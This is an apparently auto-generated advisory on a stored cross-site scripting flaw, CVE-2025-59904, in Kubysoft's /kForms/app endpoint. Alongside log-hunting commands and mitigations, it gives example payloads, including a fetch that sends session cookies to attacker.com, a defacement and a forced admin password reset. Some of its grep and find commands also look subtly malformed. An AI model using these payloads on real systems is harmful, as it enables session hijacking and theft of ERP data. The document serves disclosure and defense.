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CVE-2025-59904 is a Stored Cross-Site Scripting (XSS) vulnerability found in Kubysoft, a cloud-based ERP platform . The flaw resides specifically in the `/kForms/app` endpoint, where the application fails to properly sanitize user input across multiple parameters . Because the input is not neutralized during web page generation (CWE-79), an attacker can submit malicious JavaScript code through form fields . Unlike reflected XSS, this payload is stored permanently on the server . When other users, including potentially privileged administrators, navigate to the affected page or form, the malicious script executes automatically within their browser context . This allows the attacker to bypass access controls, potentially stealing session cookies, capturing keystrokes, or performing actions on behalf of the unsuspecting user . Given that Kubysoft is an ERP system, a successful compromise could lead to the exfiltration of sensitive business data such as customer records, billing information, or inventory details, and could even facilitate internal fraud . The vulnerability has a CVSS v4.0 score of 5.1 (MEDIUM), indicating a notable risk due to its low attack complexity and requirement for only low-level privileges to execute .
dailycve form:
Platform: Kubysoft
Version: Not specified
Vulnerability : Stored Cross-Site Scripting
Severity: MEDIUM 5.1
date: 2026-02-16
Prediction: Patch already available
What Undercode Say:
Analytics:
The vulnerability is triggered via the `/kForms/app` endpoint due to improper sanitization of multiple parameters. Administrators should audit logs for anomalous entries in form submissions. Use the following commands to check for potential exploitation attempts in web server logs:
Check for common XSS payload patterns in form submissions to /kForms/app
grep -E "kForms/app.<script|kForms/app.onerror|kForms/app.javascript:" /var/log/apache2/access.log | awk '{print $1, $4, $7}' | sort | uniq -c | sort -nr
Search for recently modified or suspicious files in the web root that could indicate stored payloads
find /var/www/html -type f -name ".jsp" -o -name ".php" -o -name ".asp" | xargs grep -lE "<script>|onerror=" 2>/dev/null
Monitor for outbound connections that might be beaconing stolen session cookies
sudo tcpdump -i eth0 -n 'port 80 or port 443' -A | grep -i "cookie|session"
Exploit:
A standard proof-of-concept for this vulnerability involves injecting a script tag into a vulnerable form field at the `/kForms/app` endpoint.
// Example payload to steal session cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Example payload to deface the page
document.body.innerHTML = "
<h1>System Compromised</h1>
";
// Example payload to force a password reset request
fetch('/kForms/app/resetPassword', { method: 'POST', body: 'user=admin' });
If the application reflects this input without sanitization and stores it, any user viewing the page will execute the script.
Protection from this CVE:
- Update: Immediately update Kubysoft to the latest patched version provided by the vendor .
- Input Sanitization: Implement robust server-side validation and output encoding for all user inputs, specifically context-aware escaping for HTML attributes and JavaScript .
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of script execution by restricting sources from which scripts can be loaded .
- Cookie Security: Set the `HttpOnly` and `Secure` flags on session cookies to prevent client-side scripts from accessing them .
Impact:
Session Hijacking: Attackers can steal session tokens, allowing them to impersonate legitimate users .
Data Theft: Unauthorized access to sensitive ERP data, including customer details, financial records, and intellectual property .
Privilege Escalation: If an administrative account is compromised, the attacker can gain full control over the ERP system, leading to data manipulation or system takeover .
Business Disruption: Potential for internal fraud, unauthorized transactions, and significant reputational damage .
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Sources:
Reported By: nvd.nist.gov
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